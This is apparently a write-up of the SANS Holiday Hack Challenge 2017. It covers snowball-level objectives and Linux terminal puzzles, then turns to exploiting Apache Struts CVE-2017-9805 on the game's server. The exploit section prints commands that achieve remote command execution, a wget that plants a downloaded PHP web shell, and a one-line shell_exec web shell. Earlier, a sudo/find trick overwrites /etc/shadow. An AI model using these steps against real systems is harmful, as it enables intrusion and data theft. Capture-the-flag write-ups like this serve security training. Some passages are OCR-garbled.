

HOLIDAY HACK CHALLENGE ZO17



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WINTER WONDER LANDING

WINTER WONDER LANDING


- Guide the snowball over the page from The Great Book before hitting the exit.


 100 points
- Use the snowball to clear the green pipe off the helipad.

 100 points
- Guide the snowball over all waypoints in a single run. 50 points per waypoint
- End the run by hitting the exit (marked in yellow).
- BONUS Hit the level exit with time to spare.

 One point per every remaining half-second.
- SONUS Use fewer than 10 tools in your solution.

 15 points for each tool spared under 10.





CRYOKINETIC MAGIC


CRYOKINETIC MAGIC


- Guide the snowball over all three waypoints without destroying the ice fishing hut.

 100 points
- Guide the snowball over all waypoints in a single run. 50 points per waypoint
- End the run by hitting the exit (marked in yellow). 25 points
- Hit the level exit with time to spare.

 One point per every remaining half-second.
- Use fewer than 10 tools in your solution.


 15 points for each tool spared under 10.






THERE'S SNOW PLACE LIKE HOME

THERE'S SNOW PLACE LIKE HOME Marshall three snowballs across the bridge and out of the town. 100 points Guide the snowball over all waypoints in a single run. 50 points per waypoint End the run by hitting the exit (marked in yellow). 25 points BONUS Hit the level exit with time to spare. One point per every remaining half-second. BONUS Use fewer than 10 tools in your solution. 15 points for each tool spared under 10.





WINCONCEIVABLE: THE CLIFFS OF WIN-SANITY


WINCONCEIVABLE: THE CLIFFS OF WINSANITY

- Push the red button on the side of the lift house while the crate is on the lift.

 150 points
- Push the crate into the lift. 50 points
- Push the red button on the side of the lift house. 50 points
- Guide the snowball over all waypoints in a single run. 50 points per waypoint
- End the run by hitting the exit (marked in yellow). 25 points
- Hit the level exit with time to spare.

 One point per every remaining half-second.
- Use fewer than 10 tools in your solution.

 15 points for each tool spared under 10.





BUMBLES BOUNCE

BUMBLES BOUNCE


- Guide the snowball over the page from The Great Book before hitting the exit.


 100 points
- Hit the exit without losing a single gift.

 100 points
- Guide the snowball over all waypoints in a single run. 50 points per waypoint
- End the run by hitting the exit (marked in yellow).
- Hit the level exit with time to spare.

 One point per every remaining half-second.
- Use fewer than 10 tools in your solution.

 15 points for each tool spared under 10.





I DON'T THINK WE'RE IN KANSAS ANYMORE


I DON'T THINK WE'RE IN KANSAS ANYMORE

- There's a storm rolling in... better find shelter. 200 points
- Guide the snowball over all waypoints in a single run. 50 points per waypoint
- End the run by hitting the exit (marked in yellow). 25 points
- Hit the level exit with time to spare.

 One point per every remaining half-second.
- Use fewer than 10 tools in your solution.

 15 points for each tool spared under 10.







OH WAIT! MAYBE WE ARE ...

OH WAIT! MAYBE WE ARE...

- STRIKE! Knock down all 10 pins in one run. 100 points
- Guide the snowball over all waypoints in a single run. 50 points per waypoint
- End the run by hitting the exit (marked in yellow). 25 points
- Get points commensurate with the speed of the first contact with a pin.
- One point per one mystical, unknown unit of video game speed
- Hit the level exit with time to spare.

 One point per every remaining half-second.
- Use fewer than 10 tools in your solution. 15 points for each tool spared under 10.






WE'RE OFF TO SEE THE ...

WE'RE OFF TO SEE THE ...

- Unseat the villian. 250 points
- Guide the snowball over all waypoints in a single run. 50 points per waypoint
- End the run by hitting the exit (marked in yellow). 25 points
- Hit the level exit with time to spare.

 One point per every remaining half-second.
- Use fewer than 10 tools in your solution.

 15 points for each tool spared under 10.





WINTER WONDER LANDING

Bushy evergreen is in a predicament. The program that they use for chat has been closed and he needs help restarting it. Unfortunately, he doesn't know where the binary is located. Let's give him a hand.

The find command is usually used to search for binaries on the system. Unfortunately it doesn't seem to work, giving us a "cannot execute binary file: Exec format error". Examining the binary with the file command, we can see that it's built for the ARM architecture while our sytstem is AMD64. To run this binary we'll need a way to emulate the architecture that the binary is built for. However, tools for that purpose do not exist on this machine.

```
elf@5b674678f190:~\ find / -name elftalkd
bash: /usr/local/bin/find: cannot execute binary file: Exec format error
elf@5b674678f190:~\ which find
/usr/local/bin/find
elf@5b674678f190:~\ file /usr/local/bin/find
/usr/local/bin/find: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpre
ter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=6ebee1b65b978900b54852a2d1e698f911064ab3, s
tripped
elf@5b674678f190:~\ uname -a
Linux 5b674678f190 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
elf@5b674678f190:~\
```

Instead, we can use the "ls" command with the -r switch to recursively list all the files on the system, and use the "grep" command to filter all the output by a search string.

```
elf@5b674678f190:~$ ls -R / 2>/dev/null | grep elftalkd -B1
/run/elftalk/bin:
<mark>elftalkd</mark>
elf@5b674678f190:~$ <mark>|</mark>
```


note that the "-B" switch of grep will return n lines BEFORE the located string. In this way it will include the directory where the file was found (provided by ls).

We run the binary by providing the full path of the executable.

Success!

For completing this task, we are rewarded with the Conveyer tool to help us with the snowball challenges.

CRYOKINETIC MAGIC



Holly Evergreen is in need of assistance. The candy cane striper process has stopped and we are tasked with getting it up and running again.

Running the CandyCaneStriper binary results in a permission denied error. Listing the permissions of the file, we see that the execution bits are set to off, and the binary is owned by the user and group, root.

Looking at our own user and group memberships, we see that we belong to the elf group. Additionally, examing the "chmod" binary, we see that it is an empty file

```
elf@a5e3dc4ce7a3:~$ file ./CandyCaneStriper
./CandyCaneStriper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib6
4/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bfe4ffd88f30e6970feb7e3341ddbe579e9ab4b3, stripped
elf@a5e3dc4ce7a3:~$ ./CandyCaneStriper
bash: ./CandyCaneStriper: Permission denied
elf@a5e3dc4ce7a3:~$ ls -1
total 48
-rw-r-r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
elf@a5e3dc4ce7a3:~$ whoami && groups
elf
elf
elf
elf@a5e3dc4ce7a3:~$ which chmod
/bin/chmod
elf@a5e3dc4ce7a3:~$ file /bin/chmod
/bin/chmod: empty
elf@a5e3dc4ce7a3:~$
```

We'll need a way to execute this binary without changing the permission bits.

Looking at the output of the previous file command, we see that the binary is dynamically linked with the interpreter at /lib64/ld-linux-x86-64.so.2

This means that when this binary is (normally) run, the kernel passes control to ld-linux-x86-64.so.2 which loads the shared libraries that the program needs to function. After that, ld-linux-x86-64.so.2 then passes control over to the application.

ld-linux-x86-64.so.2 is an executable, and looking at it's man page¹ (man 8 ld-linux.so), we can see that this file can accept a program as an argument.

```
elf@cfad53574a97:~$ ls -1 /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx 1 root root 32 Jun 16 2017 /lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-elf@cfad53574a97:~$
```

NAME

ld.so, ld-linux.so* - dynamic linker/loader

SYNOPSIS

The dynamic linker can be run either indirectly by running some dynamically linked program or library (in which case no command-line options to the dynamic linker can be passed and, in the ELF case, the dynamic linker which is stored in the .interp section of the program is executed) or directly by running:

/lib/ld-linux.so.* [OPTIONS] [PROGRAM [ARGUMENTS]]

DESCRIPTION

The programs ld.so and ld-linux.so* find and load the shared libraries needed by a program, prepare the program to run, and then run it.

We supply our binary, CandyCaneStriper to Id-linux-x86-64.so.2 as an argument and...

The CandyCaneStriper is run!

For completing this task, we are rewarded with the Thermite tool to help us with the snowball challenges

https://www.systutorials.com/docs/linux/man/8-ld-linux.so/

THERE'S SNOW PLACE LIKE HOME

```
name is Pepper Minstix, and I need your help with my plight.
we crashed the Christmas toy train, for which I am quite contrite.
should not have interfered, hacking it was foolish in hindsight.
you can get it running again, I will reward you with a gift of delight.
rwxr-xr-x 1 root root 454636 Dec 7 18:43 trainstartup
```

Pepper Minstix needs help running his trainstartup binary

Attempting to run the file gives us an error: "cannot execute bniary file: Exec format error". Running the "file" command, we see that it's built for the ARM architecture, while our host is amd64. To be able to run this binary, we need a way to emulate it's environ-

```
elf@ff636609c71f:~$ ./trainstartup
bash: ./trainstartup: cannot execute binary file: Exec format error
elf@ff636609c71f:~$ file ./trainstartup
trainstartup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux.
3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped
elf@ff636609c71f:~$ uname -a
inux ff636609c71f 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86 64 x86 64 x86 64 gNU/Linux
```

Fortunately, on this host, qemu is available. Qemu is the "Quick EMUlator" designed to perform hardware virtualization which is exactly what we need. Looking at the available gemu binaries, we see that we have available to us multiple architectures that we can emulate. To help out Pepper, we'll need to run the binary in an ARM environment. the gemu-arm binary should help us with just that.


elf@8e1d20a4960	f:~\$ qemu-					
qemu-aarch64	qemu-cris	qemu-microblazeel	qemu-mipsel	qemu-ppc	qemu-sh4	qemu-sparc64
qemu-alpha	qemu-i386	qemu-mips	qemu-mipsn32	qemu-ppc64	qemu-sh4eb	qemu-unicore32
qemu-arm	qemu-m68k	qemu-mips64	qemu-mipsn32el	qemu-ppc64abi32	qemu-sparc	qemu-x86_64
qemu-armeb	qemu-microblaze	qemu-mips64el	qemu-or32	qemu-s390x	qemu-sparc32plus	



Hurray!

For completing this task, we are rewarded with the Jam tool to help us with the snowball challenges

WINCONCEIVABLE: THE CLIFFS OF WINSANITY



Sparkle Redberry has come to us with a problem. The santaslittlehelperd process has gone awry and he is unable to stop the process. Let's see what we can do

We get a list of all the process with the "ps" command and note the process ID (or PID) of the rogue process. We then use the "kill" command and supply it the process ID and the process should stop.

```
COMMAND
/bin/bash /sbin/init
/usr/bin/santaslittle
/sbin/kworker
/bin/bash
/sbin/kworker
ns aux
```

However, the kill command does not seem to have any effect. Examining the "kill" binary with the "file" command does not work as "file" is not installed on the system.

```
elf@bcae415fd9af:~$ which kill
/bin/kill
elf@bcae415fd9af:~$ file /bin/kill
bash: file: command not found
elf@bcae415fd9af:~$
```

The "alias" command can be used to show if an alias is being used to bind commands to user-defined names. Running the alias command shows us what the problem is. All our kill commands have been aliased to "True", which does nothing.

The alias is removed with the unalias command and kill is run again.

This time, the process no longer shows up in the process listing. Mission Accomplished!

```
elf@bcae415fd9af:~$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history
ed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias kill='true'
alias killall='true'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pkill='true'
alias skill='true'
elf@bcae415fd9af:~$
```

For completing this task, we are rewarded with the Candycane tool to help us with the snowball challenges.

BUMBLES BOUNCE

Minty Candycane has a task for us. We need to find the least popular browser from a web server log. The file is very large with over 98,000 entries. Fortunately with the tools available to us, the task should be doable.

First we'll need to understand how the file is laid out. we run the "head" command and look at the first few lines of the logs.

```
elf809af3e8af429:-$ head access.log

XX.YY.66.201 - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com

XX.YY.66.201 - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 404 5 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

XX.YY.66.201 - [19/Nov/2017:07:13:03 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.66.201 - [19/Nov/2017:07:22:12 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.45.77 - [19/Nov/2017:07:43:08 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.201.12 - [19/Nov/2017:08:21:10 -0500] "GET /img/common/favicon-128.png HTTP/1.1" 304 0 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"

XX.YY.218.124 - [19/Nov/2017:08:22:09 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.68.152 - [19/Nov/2017:08:43:27 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.236.170 - [19/Nov/2017:08:43:27 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.236.170 - [19/Nov/2017:08:43:39 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.136.170 - [19/Nov/2017:08:43:39 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.136.170 - [19/Nov/2017:08:43:27 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"

XX.YY.136.170 - [19/Nov/2017:08:43:
```

To identify the least-popular browser, we'll want to examine the contents of the user-agent field in the logs, the last entry per line. Looking at this, we can see that all the user-agents are enclosed in quotes ("). With this information we can split each line of the file using the "cut" command and use quotes (") as our delimter. This will result each line being cut into 6 separate fields with the user agent being the 6th.

```
elf@bcfe69965552:~$ head access.log | cut -d '"' -f 6

Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

Slack-ImgProxy (+https://api.slack.com/robots)

Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

Slack-ImgProxy (+https://api.slack.com/robots)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)

Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0

Slack-ImgProxy (+https://api.slack.com/robots)

slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)

Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
```

Looking at our output, we see that there are duplicates. To fix this, we can pipe the output of our previous command to the "sort" and "uniq" commands to sort the output and remove duplicate strings. Supplying the -c (count) switch to uniq will prefix each result with a number, indicating how many times it appears in the output.

```
elf@bcfe69965552:~$ head access.log | cut -d '"' -f 6 | sort
Mozilla/5.0 (X11; Linux x86 64; rv:50.0) Gecko/20100101 Firefox/50.0
Mozilla/5.0 (X11; Linux x86 64; rv:57.0) Gecko/20100101 Firefox/57.0
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
Slack-ImgProxy (+https://api.slack.com/robots)
Slack-ImgProxy (+https://api.slack.com/robots)
Slack-ImgProxy (+https://api.slack.com/robots)
slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)
elf@bcfe69965552:~$ head access.log | cut -d '"' -f 6 | sort | uniq -c
      1 Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
      1 Mozilla/5.0 (X11; Linux x86 64; rv:57.0) Gecko/20100101 Firefox/57.0
      3 Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
      1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
      3 Slack-ImgProxy (+https://api.slack.com/robots)
      1 slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)
```

The resulting output can be further piped into the sort command, this time, supplying the -n switch to sort the output numerically from least to most. Lastly, everything is piped into the head command to only return the first 10 entries. The entry we want will be the very first entry in the output, Dillo.

```
elf@bcfe69965552:~$ cat access.log | cut -d '"" -f 6 | sort | uniq -c | sort -n | head

1 Dillo/3.0.5|

1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36

1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko)

1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1

1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

1 Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0

1 Mozilla/5.0 (X11; OpenBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36

1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)

1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; MASMJS)

elf@bcfe69965552:~$
```

```
elf@bcfe69965552:~$ ./runtoanswer
Starting up, please wait.....

Enter the name of the least popular browser in the web log: Dillo
That is the least common browser in the web log! Congratulations!
```

For completing this task, we are rewarded with the Bumper tool to help us with the snow-ball challenges

I DON'T THINK WE'RE IN KANSAS ANYMORE

Sugarplum Mary is looking for some help finding the most popular christmas song in a database.

We can use the sqlite3 command to open the db file. With the schema command, we see that we have 2 tables, songs and likes. The column names are displayed as well. With this information we can begin to construct SQL statements to query the database.

```
elf@9a80a8041198:~$ sqlite3 christmassongs.db

SQLite version 3.11.0 2016-02-15 17:29:24

Enter ".help" for usage hints.
sqlite> .schema

CREATE TABLE songs(
   id INTEGER PRIMARY KEY AUTOINCREMENT,
   title TEXT,
   artist TEXT,
   year TEXT,
   notes TEXT
);

CREATE TABLE likes(
   id INTEGER PRIMARY KEY AUTOINCREMENT,
   like INTEGER,
   datetime INTEGER,
   songid INTEGER,
   songid INTEGER,
   FOREIGN KEY(songid) REFERENCES songs(id)
);
```

Each row in the likes table corresponds to 1 like. To be able to count how many likes a song has, we need to group the contents of the likes table and count how many likes each song-id has. The output then needs to be ordered least to greatest.

This can be done with the statement:

select count(*), songid from likes group by songid order by count limit 10;

```
sqlite> select count(*), songid from likes group by songid order by count(*) desc limit 1
11325|392
2162|245
2140|265
2132|207
2129|98
2126|90
2122|33
2120|130
2117|18
2117|446
```

We can see that the song with songid 392 has 11,325 likes. We query the database once more, this time looking in the songs table to find the song with songid 392.

```
sqlite> select id, title from songs where id = 392; 392|Stairway to Heaven
```

Alternatively, we can condense the statements into a single query by joining the 2 databases together and selecting the output that we want. The query will go something like this:

SELECT count(*), likes.songid, songs.title FROM likes LEFT JOIN songs ON songs.id = likes.songid GROUP BY songid ORDER BY count(*) DESC LIMIT 10;

```
sqlite> select count(*), likes.songid, songs.title from likes
   ...> left join songs
   ...> on songs.id = likes.songid
   ...> group by songid
   ...> order by count(*) desc
   ...> limit 10;
11325|392|Stairway to Heaven
2162|245|Joy to the World
2140|265|The Little Boy that Santa Claus Forgot
2132|207|I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me)
2129|98|Christmas Memories
2126|90|Christmas Is Now Drawing Near at Hand
2122|33|Blue Holiday
2120|130|Cold December Night
2117 | 18 | A Baby Changes Everything
2117|446|Why Couldn't It Be Christmas Every Day?
```

In any case, we were able to find the most popular song for Sugarplum Mary, "Stairway to Heaven"

For completing this task, we are rewarded with the Portal tool to help us with the snow-ball challenges.

OH WAIT MAYBE WE ARE ...

Shinny Upatree needs help restoring the /etc/shadow file from backup.

Looking at th permissions of the /etc/shadow file, we can see that it's owned by the user root and group shadow. To be able to make any modifications to this file, we need to elevate our permissions somehow to that user or group.

Using the provided hint we run the "sudo" command with the -l switch. This will list all the commands that the current user can run (under which user/group)

```
elf@c075b57351e8:~$ sudo -1

Matching Defaults entries for elf on c075b57351e8:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/

User elf may run the following commands on c075b57351e8:
    (elf : shadow) NOPASSWD: /usr/bin/find
```

In the above output, we can see that our user is able to run the "sudo" command on the / usr/bin/find binary as part of the shadow group without being prompted for a password. We can try this out by running the command sudo -g(group) shadow /usr/bin/find

The command is successful and we are able to run the find command as the shadow group.

```
elf@c075b57351e8:~$ sudo -g shadow /usr/bin/find
.
./.bashrc
./.bash_logout
./.profile
elf@c075b57351e8:~$
```

But how does this help us?

Well, if we are able to somehow make an operation on the /etc/shadow file using the "find" command, while it's executed under the shadow group, the changes will be accepted because of the file's ownership. Luckily, "find" has an option to do just that.

With the -exec switch, "find" will execute the supplied command on each result that it matches on. In this case we can find /etc/shadow, and execute a copy operation to overwrite /etc/shadow with /etc/shadow.bak. The command will look something like this:

find /etc/shadow -exec cp /etc/shadow.bak {} \; (the {} will be replaced with the results of the find command)

```
sudo -g shadow /usr/bin/find /etc/shadow -exec cp /etc/shadow.bak {} \;
```

Running the command produces no errors - a good sign. Finally we look for the inspect_da_box binary and run it.

We were able to restore /etc/shadow!

WE'RE OFF TO SEE THE ...

A challenge from Wunorse Openslae! We are tasked with making the given binary return 42. We are also provided the partial source code as a hint and are told that we'll have to write a line or two of code. Let's begin.

Looking at the source code of the binary, we can see that the main function calls getrand() and stores the value in the variable, randnum. The value of randnum is then compared to 42.

```
DATA CORRUPTION ERROR
  MUCH OF THIS CODE HAS BEEN LOST
  FORTUNATELY, YOU DON'T NEED IT FOR THIS CHALLENGE
  MAKE THE isit42 BINARY RETURN 42
  YOU'LL NEED TO WRITE A SEPERATE C SOURCE TO WIN EVERY TIME
   getrand() {
    srand((unsigned int)time(NULL));
    printf("Calling rand() to select a random number.\n");
   // The prototype for rand is: int rand(void);
return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
nt main() {
    sleep(3);
    int randnum = getrand();
    if (randnum == 42) {
       printf("Yay!\n");
        printf("Boo!\n");
    return randnum;
elf@b3ac7e6faf66:~$
```

To complete this challenge, we'll need to somehow hijack the execution of the binary. To do this, We'll use the article that Holly Evergreen sent to @PepperyGoodness via twitter.

https://pen-testing.sans.org/blog/2017/12/06/go-to-the-head-of-the-class-ld-preload-for-the-win

From the source code we know that the isit42 binary is calling the rand() function from somewhere (presumably, a shared library). If we can create our own library with our own version of rand (that always returns 42) and somehow force the Linux loader to load that first, we may be able to get the isit42 binary to return 42. Every time.

Fortunately, there is a feature just for that. By setting the LD_PRELOAD environment variable, we are telling the linux loader to load the shared object in LD_PRELOAD first, before all other shared libraries.

First we'll create our own version of rand, making sure to match the function prototype of our function with the original (rand(void))

When this function is run, it will always return 42.

```
elf@b3ac7e6faf66:~$ cat always42.c
int rand(void){
return 42;
}
```

Next we use gcc (GNU C Compiler) with the following flags:

- -shared Tells GCC to create a shared object
- -fPIC Creates Position Independent Code (code that can be executed regardless of where it's located in memory, needed for Shared libraries)
- -o always42 The name of the output file

With our shared library in place, all we'll need to do is set the LD_PRELOAD environment variable to the path to our newly created file, and run isit42

And with that, all the Terminal Challenges are complete!



THE GREAT BOOK, PAGE 1

1) VISIT THE NORTH POLE AND BEYOND AT THE WINTER WONDER LANDING LEVEL TO COLLECT THE FIRST PAGE OF THE GREAT BOOK USING A GIANT SNOWBALL. WHAT IS THE TITLE OF THAT PAGE?

The title of the page is "About this Book"

The great book page can be obtained by completing objective # 1 in the Winter Wonder Landing level. Once that is accomplished, the first page of the Great Book titled "About this Book", is added to our stocking.



LETTERS TO SANTA

2) Investigate the Letters to Santa application at https://l2s.northpolechrist-MASTOWN.COM. WHAT IS THE TOPIC OF THE GREAT BOOK PAGE AVAILABLE IN THE WEB ROOT OF THE SERVER? WHAT IS ALABASTER SNOWBALL'S PASSWORD?

The topic of the Great Book page available in the web root is about the story of how the scientists of OZ created the flying monkeys, Moonracer, and Santa's flying reindeer (and the reason behind Rudolph's red nose).

Alabaster Snowball's password is: stream_unhappy_buy_loss

AVAILABLE HINTS



We're excited to debut the new Letters to Santa site this year. Alabaster worked hard on that project for over a year. I got to work with the development version of the site early on in the project lifecycle.



Alabaster's primary backend experience is with Apache Struts. I love Apache and have a local instance set up on my home computer with a web shell. Web shells are great as a backdoo for me to access my system remotely. I just choose a really long complex file name so that no one else knows how to access it.



Sparkle Redberry

There are lots of different web shell tools available. You can get a simple PHP web shell that is easy to use here.



Apache Struts uses XML. I always had problems making proper XML formatting because of special characters. I either had to encode my data or escape the characters properly so the XML wouldn't break. I actually just checked and there are lots of different exploits out there for vulnerable systems. Here is a useful article.



Near the end of the development we had to rush a few things to get the new site moved to production. Some development content on the letter page should probably have been removed but ended up marked as hidden to avoid added change control paperwork



A simple web shell is to create a PHP file in the web root with . shell exec(\$ GET['e']) . ""; ?>. Then, I visit the URL with my commands. For example, http://server/complexFileName.php?e=Is.



That business with Equal-Facts Inc was really unfortunate. I understand there are a lot of different exploits available for those vulnerable systems. Fortunately, Alabaster said he tested for CVE-2017-5638 and it was NOT vulnerable. Hope he checked the others too.



Hint 8

Pro developer tip: Sometimes developers hard code credentia into their development files. Never do this, or at least make sure you take them out before publishing them or putting them into production. You also should avoid reusing credentials for different services, even on the same system

To begin, enumeration is done on the Letters to Santa web application found at l2s.north-polechristmastown.com. Sparkle redberry's hint (#2) mentions some development content that's left behind on the site.






Sparkle Redberry

Near the end of the development we had to rush a few things to get the new site moved to production. Some development content on the letter page should probably have been removed, but ended up marked as hidden to avoid added change control paperwork.



We can find this by looking at the source code. At line 243, a link to the development version is found (http://dev.north-polechristmastown.com).

We browse to dev.northpolechristmastown.com and take a look around.



Upon examination we find a toy request form that didn't quite make it into the production version of the site

We view the source code and find a few interesting comments (regarding Equal-Facts.) and the framework that the site is built on, Apache Struts.


EQUAL FACTS?
EQUAL FACTS WAS A COMPANY
THAT HAD ITS DATA COMPROMISED WITH AN APACHE STRUTS
VULNERABILITY (HINT #3)

Looking at Sparkle's hint # 6, we are informed that Alabaster did some testing against an apache struts exploit, CVE-2017-5638 and found that it wasn't vulnerable. He also alludes to some other vulnerabilities that Apache Struts may be vulnerable to. In hint #7, He talks about the structure of Apache struts and the difficulty of properly formatting XML because of special characters. And most importantly, he links to a useful article¹ detailing another apache struts exploit using xml



Sparkle Redberr

That business with Equal-Facts Inc was really unfortunate. I understand there are a lot of different exploits available for those vulnerable systems. Fortunately, Alabaster said he tested for CVE-2017-5638 and it was NOT vulnerable. Hope he checked the others too.



We use the exploit in the linked article (CVE 2017-9805) to see if we can achieve remote command execution on the target system. Observing how the exploit works, it looks like the command is successfully sent. However, we are unable to verify if the command actually worked.

To verify, we can set up a netcat listener on our box, and send a command to the vulnerable server, piping its output into netcat, and sending it to our listener

```
root@kali:/tmp/cve-2017-9805.py# python cve-2017-9805.py -u 'https://dev.northplechristmastown.com/orders.khtml' -c 'echo Hello World'
[+] Encoding Command
[+] Bulding XML object
[+] Paleing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed
root@kali:/tmp/cve-2017-9805.py#
```

We get the output back successfuly and can confirm that we have remote code execution. At this point, we there are multiple ways to retrieve the page of The Great Book in the web root directory. In this walkthrough, we will be using a web shell (mentioned in Sparkle's hint) to grab the file.

Sparkle, in hint # 3 mentions the use of a webshell to access his system remotely. We will be using the same concept. A simple PHP web shell is downloaded from the internet² and written to the web root (/var/www/html on most unix installations). We give it a unique filename and browse to it using our vbrowser.

```
root@kali:/tmp/cve-2017-9805.py# python cve-2017-9805.py -u 'https://dev.northpo
lechristmastown.com/orders.xhtml' -c 'wget -0 /var/www/html/holiday-hacked.php h
ttps://gist.githubusercontent.com/joswrlght/22f40787de19d80d110037tb79ac3985/raw
/beb2c021b284f21416f55b9d4496cdd3b3c86d8/easy-simple-php-webshell.php'
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Fayload executed
root@kali:/tmp/cve-2017-9805.py#


WHAT IS A WEBSHELL?

A WEB SHELL IS A SCRIPT THAT CAN BE UP-
LOADED TO A WEB SERVER TO ENABLE REMOTE
ADMINISTRATION OF A MACHINE
```

https://pen-testing.sans.org/blog/2017/12/05/why-you-need-the-skills-to-tinker-with-publicly-released-exploit-code

² https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/be4b2c021b284f21418f55b9d4496cdd3b3c86d8/easy-simple-php-webshell.php

Success! The webshell is reachable and comamnds entered into the prompt are executed, and their output displayed on the page.




The Great Book page is in the webroot and we can browse to and download it using our browser, by visiting https://l2s.northpolechristmastown.com/GreatBookPage2.pdf. This page of the great book tells the story of how the scientists of OZ created the flying monkeys, Moonracer, and Santa's flying reindeer (and the reason behind Rudolph's red nose).

However, we are still not finished. We need to find alabaster snowball's password.






Looking at our last available hint, sparkle mentions the possibility of hard coded credentials. we can enumerate the users by displaying the /etc/passwd file. Here, we see Alabaster's username, alabaster_snowball



Next, we can search through the entire filesystem to see if any files contain his username using a technique simlar to what was used in the there's snow palce like home terminal challenge.

But searching the entire filesystem may take a long time. We can narrow down our search to directories that developers may put files into before moving them into production. the directory /opt seems like a good candidate

